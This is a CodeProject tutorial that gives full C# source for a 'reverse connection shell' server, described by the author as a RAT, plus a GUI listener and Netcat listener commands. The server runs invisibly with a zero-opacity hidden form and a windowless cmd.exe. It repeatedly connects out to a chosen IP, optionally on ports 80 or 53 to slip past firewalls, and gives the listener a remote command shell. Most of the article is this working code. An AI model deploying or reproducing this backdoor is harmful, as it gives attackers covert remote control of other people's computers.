Click here to Skip to main content
Click here to Skip to main content

Reverse Connection Shell

, 16 Sep 2007
Rate this:
Please Sign up or sign in to vote.
How to access a server behind a gateway firewall using the reverse connection shell technique.

Screenshot - gui_client_listener.jpg

Objective

In a client-server architecture, it is usually the server which waits for connections from the client. This works well, provided the server is reachable. But what if the server is residing behind a firewall? Or, behind a DSL router modem? In such a case, you would not be able to connect to the server, unless of course the firewall (or router) is configured to portmap all packets to your server. The problem is as shown in Fig. A below:

Server---Firewall (or DSL router)--- Internet--- Client
Fig. A - Unreachable Server Behind Firewall

A solution to this problem is to have the server reach out and connect to the client. In such a case, the client will listen on a port, say, port 6666, and the server will then attempt to connect every 5 seconds or, some other regular interval. If the client is not up, the server waits 5 seconds and then tries again. If a client is up, it will then establish a connection and gives a shell to the client. The client will then be able to send commands, and they will execute on the server side. This technology is called Reverse Connection Shell, or, sometimes Reverse Connection RAT. There is, however, an assumption that the client will have a static IP address.

For the client to listen for a connection, we will need to have a client program in addition to the server program. As usual, the server program will run silently on the server PC behind the firewall (or DSL router modem), and the client program will be any PC on the Internet, or, LAN. The client program can be Netcat, in which case you start Netcat in listening mode as follows:

C:\nc -lvp 6666

Alternatively, we can write our own client program. Both methods will be discussed in this article. We will first write our server program and use Netcat as the client, then, we will write our own client program. And, we shall make it a GUI-based client.

Building a Reverse Connection Server

Start a new Windows Application. Set the form's Opacity property to 0. And also, insert a Form_shown event handler. The code is shown below:

// 
// Reverse Portbinding Shell Server - by Paul Chin 
// Aug 26, 2007 
// 
using System; 
using System.Collections.Generic; 
using System.ComponentModel; 
using System.Data; 
using System.Drawing; 
using System.Text; 
using System.Windows.Forms; 
using System.Net.Sockets; 
using System.IO; //for Streams 
using System.Diagnostics; //for Process 

namespace ReverseRat 
{ 
   public partial class Form1 : Form 
   { 
      TcpClient tcpClient; 
      NetworkStream networkStream; 
      StreamWriter streamWriter; 
      StreamReader streamReader; 
      Process processCmd; 
      StringBuilder strInput; 

      public Form1() 
      { 
         InitializeComponent(); 
      }
 
      private void Form1_Shown(object sender, EventArgs e) 
      { 
         this.Hide(); 
         for(;;) 
         { 
            RunServer(); 
            System.Threading.Thread.Sleep(5000); //Wait 5 seconds 
         }                                       //then try again 
      }
 
      private void RunServer() 
      { 
         tcpClient = new TcpClient(); 
         strInput = new StringBuilder(); 
         if(!tcpClient.Connected) 
         { 
            try 
            { 
               tcpClient.Connect("127.0.0.1", 6666); 
               //put your preferred IP here
               networkStream = tcpClient.GetStream(); 
               streamReader = new StreamReader(networkStream); 
               streamWriter = new StreamWriter(networkStream); 
            } 
            catch (Exception err) { return; } //if no Client don't 
                                              //continue 
            processCmd = new Process(); 
            processCmd.StartInfo.FileName = "cmd.exe"; 
            processCmd.StartInfo.CreateNoWindow = true; 
            processCmd.StartInfo.UseShellExecute = false; 
            processCmd.StartInfo.RedirectStandardOutput = true; 
            processCmd.StartInfo.RedirectStandardInput = true; 
            processCmd.StartInfo.RedirectStandardError = true; 
            processCmd.OutputDataReceived += new 
            DataReceivedEventHandler(CmdOutputDataHandler); 
            processCmd.Start(); 
            processCmd.BeginOutputReadLine(); 
         } 
         while (true) 
         { 
            try 
            { 
               strInput.Append(streamReader.ReadLine()); 
               strInput.Append("\n"); 
               if(strInput.ToString().LastIndexOf(
                   "terminate") >= 0) StopServer(); 
               if(strInput.ToString().LastIndexOf(
                   "exit") >= 0) throw new ArgumentException(); 
               processCmd.StandardInput.WriteLine(strInput); 
               strInput.Remove(0, strInput.Length); 
            } 
            catch (Exception err) 
            { 
               Cleanup(); 
               break; 
            } 
         } 
      }
 
      private void Cleanup() 
      { 
         try { processCmd.Kill(); } catch (Exception err) { }; 
         streamReader.Close(); 
         streamWriter.Close(); 
         networkStream.Close(); 
      }
 
      private void StopServer() 
      { 
         Cleanup(); 
         System.Environment.Exit(System.Environment.ExitCode); 
      }
 
      private void CmdOutputDataHandler(object sendingProcess,
          DataReceivedEventArgs outLine) 
      { 
         StringBuilder strOutput = new StringBuilder(); 
         if(!String.IsNullOrEmpty(outLine.Data)) 
         { 
             try 
             { 
                strOutput.Append(outLine.Data); 
                streamWriter.WriteLine(strOutput); 
                streamWriter.Flush(); 
             } 
             catch (Exception err) { } 
         } 
      } 
   }//end class Form  
}

Explanation

We will now look at how the program works. It is basically the same as the Direct Connection type server discussed in my previous Portbinding Shell article, except that this server initiates the connection instead of listens for connections.

We hide the form using the this.Hide() method. The form will flash briefly when run, that is why we need to set the form's Opacity property to 0, as mentioned above:

private void Form1_Shown(object sender, EventArgs e) 
{ 
   this.Hide(); 
   for (;;) 
   { 
      RunServer(); 
      System.Threading.Thread.Sleep(5000); //Wait 5 seconds 
   }                                       //then try again 
}

The program uses a for(;;) perpetual loop to call the RunServer() method. This design ensures that the server is able to initiate re-connections whenever the client is not listening or the client which is connected suddenly loses connection. However, before each re-connection, it will wait 5000 milliseconds (5 seconds). You can, of course, change this value. It would, however, be more sensible to put in a larger duration instead of a shorter one.

Next, we take a look at the RunServer() method.

If the the server is not yet connected to the client, then we try to connect. Here, we use the loopback address 127.0.0.1 and port 6666. You can, of course, change to another static IP address, e.g., an intranet IP (e.g., 192.168.0.2) or a public IP (e.g., 219.95.12.13), if you are trying this on the Internet and have a static IP address. You can also change the port to 80 (web) or 53 (DNS) if your firewall blocks other ports:

if (!tcpClient.Connected) 
{ 
   try 
   { 
      tcpClient.Connect("127.0.0.1", 6666); 
      networkStream = tcpClient.GetStream(); 
      streamReader = new StreamReader(networkStream); 
      streamWriter = new StreamWriter(networkStream); 
   } 
   catch (Exception err) { return; } //if no Client don't continue 
}

Notice that if the client is not connected, it will throw an exception. The catch-block will catch the exception and return. Control then passes back to the for(;;) loop, which then waits 5000 milliseconds before calling RunServer() again.

On the other hand, if the server successfully connects to a client, the program will go on to create the cmd.exe process:

processCmd = new Process(); 
processCmd.StartInfo.FileName = "cmd.exe"; 
processCmd.StartInfo.CreateNoWindow = true; 
processCmd.StartInfo.UseShellExecute = false; 
processCmd.StartInfo.RedirectStandardOutput = true; 
processCmd.StartInfo.RedirectStandardInput = true; 
processCmd.StartInfo.RedirectStandardError = true; 
processCmd.OutputDataReceived += new 
DataReceivedEventHandler(CmdOutputDataHandler); 
processCmd.Start(); 
processCmd.BeginOutputReadLine(); 

Take note that CreateNoWindow is set to true so that a DOS window will not pop-up when the program runs. Also, the StandardIn, StandardOut, and StandardError streams are all redirected. What this means is that, the keyboard is no longer the StandardIn stream and the monitor is no longer the StandardOutput and StandardError stream. Also, once the streams have been redirected, three pipes are created for the cmd.exe process as shown in in Part 2 of the article. The figure is reproduced here again for clarity, re-labeled as Fig. C:

                 Read 
                       | |
                       | | [StandardOut]
                       | |
Read ---- cmd.exe---- Write
| |                   Write
| | [StandardIn]       | | 
| |                    | | [StandardError] 
Write                  | |
                       Read 
Fig. C - Linking Three Pipes to the cmd.exe Process

Once we have these pipes, it is trivial for any other process to read from or write to them. Hence the name Inter Process Communication (IPC). Network streams can read from or write to them as well. This is what makes it possible for shells to talk to remote PCs through network sockets.

The next line brings us to the main loop of the server, the perpetual while-loop. Unless there is an exception, the program control will perpetually try to read from the network stream, which was created when the server connected to the client. The streamReader.Readline() method reads the data (commands) sent by the client. If the command is "terminate", the program will call the StopServer() method to kill the server. The streams and sockets are closed and the server program exits. On the other hand, if the client sends the "exit" command, the program will deliberately throw an ArgumentException() so that the catch-block will Cleanup() the streams, sockets, and break out of the while loop to return control to the for(;;) loop in the Form_Shown event handler. On the other hand, if the client sends commands other than "terminate" or "exit", the program flow will proceed to inject the command into the StandardIn pipe of the cmd.exe process by using the processCmd.Standard.WriteLine() method:

while (true) 
{ 
   try 
   { 
      strInput.Append(streamReader.ReadLine()); 
      strInput.Append("\n"); 
      if(strInput.ToString().LastIndexOf("terminate") >= 0)StopServer(); 
      if(strInput.ToString().LastIndexOf(
          "exit") >= 0) throw new ArgumentException(); 
      processCmd.StandardInput.WriteLine(strInput); 
      strInput.Remove(0, strInput.Length); 
   } 
   catch (Exception err) 
   { 
      Cleanup(); 
      break; 
   } 
}

The Cleanup() method cleans up everything by first closing the cmd.exe process, closing the reading and writing streams, and finally closing the network stream:

private void Cleanup() 
{ 
   try { processCmd.Kill(); } catch (Exception err) { }; 
   streamReader.Close(); 
   streamWriter.Close(); 
   networkStream.Close(); 
}

The StopServer() method calls the Cleanup() method and then exits the program itself. This means the server quits:

private void StopServer() 
{ 
   Cleanup(); 
   System.Environment.Exit(System.Environment.ExitCode); 
}

The CmdOutputDataHandler handles the StandardOut and StandardError output streams:

private void CmdOutputDataHandler(object sendingProcess,
        DataReceivedEventArgs outLine) 
{ 
   StringBuilder strOutput = new StringBuilder(); 
   if(!String.IsNullOrEmpty(outLine.Data)) 
   { 
      try 
      { 
         strOutput.Append(outLine.Data); 
         streamWriter.WriteLine(strOutput); 
         streamWriter.Flush(); 
      } 
      catch (Exception err) { } 
   } 
}

This data handler was assigned earlier when we created the cmd.exe process. It was assigned using this line:

processCmd.OutputDataReceived += 
  new DataReceivedEventHandler(CmdOutputDataHandler); 

Whenever the cmd.exe process executes a command, it will spit out its responses into the StandardOut or StandardError pipes. This will raise the event called OutputDataReceived, which will go on to trigger the CmdOutputDataHandler discussed above.

To summarize: to write to the StandardIn pipe, use the processCmd.StandardInput.WriteLine() method. To read from the StandardOut/StandardError pipes, use CmdOutputDataHandler().

If you use 127.0.0.1 as the address to connect to, it will connect to itself. You need to start a listening client. As mentioned above, you can use Netcat:

nc -lvp 6666

The l option means listen, v means verbose, and p means port 6666.

Once the client is connected, you will see something like what is shown in Fig. D below:

Screenshot - netcat_listener.jpg

Fig. D - Using Netcat as the Listener

Once you get a shell as shown above, you can type any command and it will execute on the server. For example, if you type the command "dir", the command will be executed by the server.

Of course, all the above is done using only one PC acting both as the server and the client. That is why we use the loopback address 127.0.0.1. If you have access to two PCs, e.g., one PC called S is 192.168.0.1 and another PC called C is 192.168.0.2, and both are connected to the same LAN, you could start the server program on S, then start Netcat on C, and within 5 seconds (5000 milliseconds), the server on S will connect to the client on C and give a shell to C. The program also works on the Internet. However, you will need to use a public IP address instead of the intranet range used in our discussion. Another option for experimentation is to install Windows XP or Vista OS in a Virtual PC. For this, you will need to download and install Microsoft Virtual PC. You could then assign, say, 192.168.0.2, to the Virtual PC while the host PC is assigned 192.168.0.1. The server is run on either the host or Virtual PC and the client on the other. For a thorough test, run your server behind a firewall, set the server to connect to port 80 (HTTP) or 53 (DNS). Then, run your listening client (Netcat, or the new GUI-based client we will be writing below) on another PC outside the firewall. Your server should traverse the firewall (or DSL router modem) with ease.

Creating Our Own Client Listener Program

If you do not like to use Netcat, we could write our own client. As already explained above, our client will listen for connections on a local port, e.g., 127.0.0.1, port 6666, and when the server successfully connects, it will display the shell in a GUI-based (Graphical User Interface) interface. See Fig. E below.

Screenshot - gui_client_listener.jpg

Fig. E - A GUI-Based Client Listener

You can then type the command in the textbox below. In Fig. E above, the command 'dir' is typed. After typing the command, press <Enter> and the command will be sent to the server to execute. After execution, the server will return the output to our GUI client.

To build our client listener, start a new Windows Application. Insert textBox1 and make it multiline, and also enable a vertical scrollbar. Set the background color property to black and the font color to lime (green). However, if you prefer, you could leave it with its default white background and black font color. The messages sent by the server will be displayed in textBox1 as shown in Fig. E above. Insert another TextBox and call it textBox2. Place it at the bottom just below the large textBox1. However, do not make it multiline. You can dock textBox1 to the top and textBox2 to the center. The commands that you wish to send to the server will be typed in textBox2. In Fig. E above, the 'dir' command is typed into textBox2. I assume you are already familiar with Windows form design and as such will not go into too much details here. Finally, insert a StatusStrip and call it statusStrip1. Of course, you would want to place it at the bottom of the form. You can dock it to the bottom. Having done that, you will need to insert a toolStripStatusLabel. This label will display the status of the connections. In Fig. E above, the status strip displays the message "Connection from 127.0.0.1". To insert a toolStripStatusLabel, click on the drop down list of the StatusStrip and select StatusLabel. Immediately, a label will be created for you called toolStripStatusLabel1. See Fig. F below on how this is done.

Screenshot - status_strip.jpg

Fig. F - Inserting a toolStripStatusLabel

Then, insert a Form1_Shown event handler and a textBox2_KeyDown event handler. To insert a Form1_Shown event handler, first select the Form, then use the Properties Explorer on the bottom right of the Visual C# 2005 Express IDE. See Fig. G below.

Screenshot - eventhandler.jpg

Fig. G - Inserting an Event Handler

You will need to click on the lightning icon in order to activate the Event List. Then, scroll down to the Shown event and double-click on the right empty space. A Form1_Shown event handler will be inserted and you will also see a Form1_Shown event handler:

private void Form1_Shown(object sender, EventArgs e) 
{ 
   //Enter your code here 
}

To insert a textBox2_KeyDown event handler, repeat the steps above, but this time, select the textBox2 object on the form first. You will also need to insert a Form1_FormClosing event handler. Again, use the same technique above.

Now, type in the following code as shown below:

// 
//Reverse Connection Client Listener by Paul Chin 
//August 28, 2007 
// 
using System; 
using System.Collections.Generic; 
using System.ComponentModel; 
using System.Data; 
using System.Drawing; 
using System.Text; 
using System.Windows.Forms; 
using System.Net.Sockets; 
using System.IO; //for Streams 
using System.Threading; //to run commands concurrently 
using System.Net; //for IPEndPoint
 
namespace ReverseRatClient 
{ 
   public partial class Form1 : Form 
   { 
      TcpListener tcpListener; 
      Socket socketForServer; 
      NetworkStream networkStream; 
      StreamWriter streamWriter; 
      StreamReader streamReader; 
      StringBuilder strInput; 
      Thread th_StartListen,th_RunClient; 
     
      public Form1() 
      { 
         InitializeComponent(); 
      } 
     
      private void Form1_Shown(object sender, EventArgs e) 
      { 
          th_StartListen = new Thread(new ThreadStart(StartListen)); 
          th_StartListen.Start(); 
          textBox2.Focus(); 
      } 
     
      private void StartListen() 
      { 
         tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666); 
         tcpListener.Start(); 
         toolStripStatusLabel1.Text = "Listening on port 6666 ..."; 
         for (;;) 
         { 
             socketForServer = tcpListener.AcceptSocket(); 
             IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint; 
             toolStripStatusLabel1.Text = "Connection from " + 
                  IPAddress.Parse(ipend.Address.ToString()); 
             th_RunClient = new Thread(new ThreadStart(RunClient)); 
             th_RunClient.Start(); 
         } 
     }  
     
     private void RunClient() 
     { 
         networkStream = new NetworkStream(socketForServer); 
         streamReader = new StreamReader(networkStream); 
         streamWriter = new StreamWriter(networkStream); 
         strInput = new StringBuilder(); 
         while (true) 
         { 
            try 
            { 
               strInput.Append(streamReader.ReadLine()); 
               strInput.Append("\r\n"); 
            } 
            catch (Exception err) 
            { 
               Cleanup(); 
               break; 
            } 
            Application.DoEvents(); 
            DisplayMessage(strInput.ToString()); 
            strInput.Remove(0, strInput.Length); 
        } 
      } 
      
      private void Cleanup() 
      { 
         try 
         { 
             streamReader.Close(); 
             streamWriter.Close(); 
             networkStream.Close(); 
             socketForServer.Close(); 
         } 
         catch (Exception err) { } 
         toolStripStatusLabel1.Text = "Connection Lost"; 
      } 

      private delegate void DisplayDelegate(string message); 
      
      private void DisplayMessage(string message) 
      { 
          if (textBox1.InvokeRequired) 
          { 
              Invoke(new DisplayDelegate(
                  DisplayMessage),new object[] { message }); 
          } 
          else 
          { 
              textBox1.AppendText(message); 
          } 
     }
 
     private void textBox2_KeyDown(object sender, KeyEventArgs e) 
     { 
        try 
        { 
           if(e.KeyCode == Keys.Enter) 
           { 
               strInput.Append(textBox2.Text.ToString()); 
               streamWriter.WriteLine(strInput); 
               streamWriter.Flush(); 
               strInput.Remove(0, strInput.Length); 
               if(textBox2.Text == "exit") Cleanup(); 
               if(textBox2.Text == "terminate") Cleanup(); 
               if(textBox2.Text == "cls") textBox1.Text = ""; 
               textBox2.Text = ""; 
            } 
        } 
        catch (Exception err) { } 
     } 
     
     private void Form1_FormClosing(object sender, FormClosingEventArgs e) 
     { 
         Cleanup(); 
         System.Environment.Exit(System.Environment.ExitCode); 
     } 
  } 
}

Explanation of the Client Listener Program

Remember that this is a Windows Application. It will present a Graphical User Interface as shown in Fig. E above.

In addition to the default libraries, you will need to add these:

using System.Net.Sockets; 
using System.IO;        //for Streams 
using System.Threading; //to run commands concurrently 
using System.Net;       //for IPEndPoint 

The Sockets namespace is to enable networking. IO is for enabling the sockets to transmit and receive streams. Threading is for running the StartListen and RunClient methods in separate threads so that the form will not block. And, Net is for storing the address retrieved from the socket remote endpoint, i.e., the address of the server which is connecting to our client.

We will need the following objects:

TcpListener tcpListener; 
Socket socketForServer; 
NetworkStream networkStream; 
StreamWriter streamWriter; 
StreamReader streamReader; 
StringBuilder strInput; 
Thread th_StartListen,th_RunClient; 

Although we are not a server, we need a TcpListener because we need to listen for the server's connection. Remember, we are a reverse connection system. Socket is the endpoint which will be created when a server successfully connects to the client. NetworkStream must be created from the Socket for the StreamWriter and StreamReader to write to the socket and also to read from the socket. StringBuilder's strInput is to store the command that the client will be sending to the server. And finally, th_StartListen and th_RunClient are to hold the StartListen and RunClient methods that will be run in their own threads concurrently with the Form application. As mentioned before, this is necessary because we don't want the Form to block, i.e., stop and wait for the StartListen and RunClient methods to complete.

Next, we add code in the Form1_Shown event handler:

private void Form1_Shown(object sender, EventArgs e) 
{ 
   th_StartListen = new Thread(new ThreadStart(StartListen)); 
   th_StartListen.Start(); 
   textBox2.Focus(); 
}

We want the StartListen method to run in a separate thread. The reason for this was discussed earlier, i.e., we don't want the Form to block and wait for the StartListen method to return. We also wish the textBox2 to have the focus so that the user can immediately type in commands into textBox2 once a connection is established. We will now analyze the StartListen method:

private void StartListen() 
{ 
   tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666); 
   tcpListener.Start(); 
   toolStripStatusLabel1.Text = "Listening on port 6666 ..."; 
   for (;;) 
   { 
      socketForServer = tcpListener.AcceptSocket(); 
      IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint; 
      toolStripStatusLabel1.Text = "Connection from " + 
      IPAddress.Parse(ipend.Address.ToString()); 
      th_RunClient = new Thread(new ThreadStart(RunClient)); 
      th_RunClient.Start(); 
   } 
}

The StartListen method will first create a listening port to listen on port 6666. This port will bind on all interfaces, e.g., loopback interface (127.0.0.1), intranet interface (e.g., 192.168.0.1), and internet interface (e.g., 219.95.12.13). The toolStripStatusLabel will be updated to inform the user that the client listener is now "Listening on port 6666...". The program will then enter a for-loop. The first line of code will block (i.e., stop and wait) for connections.

Note that the blocking will not affect the form, which will still be responsive. You can still drag and move the form and also resize etc. This is because the StartListen method runs in its own thread which is separate from the thread of the Form application. If a server successfully connects, a socket called socketForServer will be created to handle the communication with the server. The program will next extract the IP address of the server, and the toolStripStatusLabel will inform the user that there is a "Connection from ... [IP Address]":

IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint; 
toolStripStatusLabel1.Text="Connection from " + 
    IPAddress.Parse(ipend.Address.ToString()); 

The program then creates a separate thread to handle the new socket by creating a thread to execute the RunClient method:

th_RunClient = new Thread(new ThreadStart(RunClient)); 
th_RunClient.Start();

We will now analyze the RunClient method. Within this method, a network stream is created and subsequently used to create a stream reader and a stream writer so that the client can read and can also write to the socket:

networkStream = new NetworkStream(socketForServer); 
streamReader = new StreamReader(networkStream); 
streamWriter = new StreamWriter(networkStream); 

The strInput StringBuilder is for storing the data sent by the server and is also used to store commands to be sent to the server:

strInput = new StringBuilder(); 

We now enter the while-loop, which happens to be a perpetual loop:

while (true) 
{ 
   try 
   { 
      strInput.Append(streamReader.ReadLine()); 
      strInput.Append("\r\n"); 
   } 
   catch (Exception err) 
   { 
      Cleanup(); 
      break; 
   } 
   Application.DoEvents(); 
   DisplayMessage(strInput.ToString()); 
   strInput.Remove(0, strInput.Length); 
}

The program flow will keep looping within this while-loop, provided the server is connected to the client. Within each loop, it will read the data, if any, that the server sends. This reading task is performed in a try-catch block. If the server suddenly disconnects, an exception will be thrown and caught by the catch-block, which in turn calls the Cleanup() method:

private void Cleanup() 
{ 
   try 
   { 
       streamReader.Close(); 
       streamWriter.Close(); 
       networkStream.Close(); 
       socketForServer.Close(); 
   } 
   catch (Exception err) { } 
   toolStripStatusLabel1.Text = "Connection Lost"; 
}

On the other hand, if the server does not suddenly disconnect, the program flow will continue to DisplayMessage() which the server sends. But, in order to display the message in the object textBox1, we need to use a delegate:

delegate void DisplayDelegate(string message); 

A delegate helps us send messages between threads. It is like a middle man. Direct cross thread manipulations is not allowed. Note that textBox1 is an object within the Form application - which is a separate thread from the RunClient method which runs in a different thread. DisplayDelegate is used by the DisplayMessage method as follows:

private void DisplayMessage(string message) 
{ 
   if (textBox1.InvokeRequired) 
   { 
      Invoke(new DisplayDelegate(DisplayMessage),new object[] { message }); 
   } 
   else 
   { 
      textBox1.AppendText(message);  
   } 
}

Diagrammatically, the whole process can be represented as in Fig. F below.

                  String                  String 
DisplayMessage() -------- DisplayDelegate--------textBox1 
Fig. F - Using a Delegate to Send Cross-thread Messages

In order to send commands to the server, we type our commands into the textBox2 object as mentioned earlier. Once a command is typed in, the user presses the Enter key. To catch the Enter key event, we use a textBox2_KeyDown event handler:

private void textBox2_KeyDown(object sender, KeyEventArgs e) 
{ 
   try 
   { 
      if (e.KeyCode == Keys.Enter) 
      { 
         strInput.Append(textBox2.Text.ToString()); 
         streamWriter.WriteLine(strInput); 
         streamWriter.Flush(); 
         strInput.Remove(0, strInput.Length); 
         if(textBox2.Text == "exit") Cleanup(); 
         if(textBox2.Text == "terminate") Cleanup(); 
         if(textBox2.Text == "cls") textBox1.Text = ""; 
         textBox2.Text = ""; 
      } 
   } 
   catch (Exception err) { } 
}

It is here that the commands are sent to the server using the streamWriter.WriteLine method. Note that if the user enters the "exit" command, we want to Cleanup() the streams and sockets for re-use. The server will still be alive, however. Only, the client is disconnected. Should the user enter the "exit" command, the client disconnects, and if the server is still alive, a new connection will be established within 5000 milliseconds (5 seconds). On the other hand, if the user sends the "terminate" command, the client will disconnect by calling the Cleanup() method. However, this time, the "terminate" command will be executed by the server to exit itself. Note that once the server exits, the client will no longer be receiving new re-connections from the server.

Finally, in order to cleanly close all streams, sockets, and exit the application, when the user clicks on the "x" on the top right of the form, we insert a Form1_FormClosing event handler:

private void Form1_FormClosing(object sender, FormClosingEventArgs e) 
{ 
   Cleanup(); 
   System.Environment.Exit(System.Environment.ExitCode); 
}

Summary

Run the server on one PC. Then, run the client on another PC. If you do not have access to two PCs, nor have Virtual PC installed, you can use the loopback address 127.0.0.1 to test. The client can be either Netcat or our GUI-based client which we created above. The server will then reach out and connect to the client and gives it a shell. The client can then send commands to the server to be executed on the server. This solves the problem of reaching servers residing behind gateway-firewalls.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

About the Author

Paul Chin PC
Researcher
Malaysia Malaysia
Coder

Comments and Discussions

 
QuestionLIFE SAVER PinmemberMember 108026387-May-14 15:05 
Question[Question] Multiple conections Pinmemberoscar salgado23-Oct-13 4:57 
GeneralPerfect Pinmembergianpy.it7-Nov-12 8:00 
GeneralMy vote of 5 PinmemberF0x32o22-Apr-12 9:54 
GeneralHi Pinmember(BlackBox) Ethical Hacker31-Oct-10 5:15 
GeneralThis is great Pinmembercrazydevil36022-Dec-09 3:39 
GeneralGreat ideia, and implementation. Pinmemberjoaoalbertofn17-Sep-07 1:12 
AnswerRe: Great ideia, and implementation. PinmemberPaul Chin PC17-Sep-07 3:17 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

| Advertise | Privacy | Mobile
Web01 | 2.8.140721.1 | Last Updated 17 Sep 2007
Article Copyright 2007 by Paul Chin PC
Everything else Copyright © CodeProject, 1999-2014
Terms of Service
Layout: fixed | fluid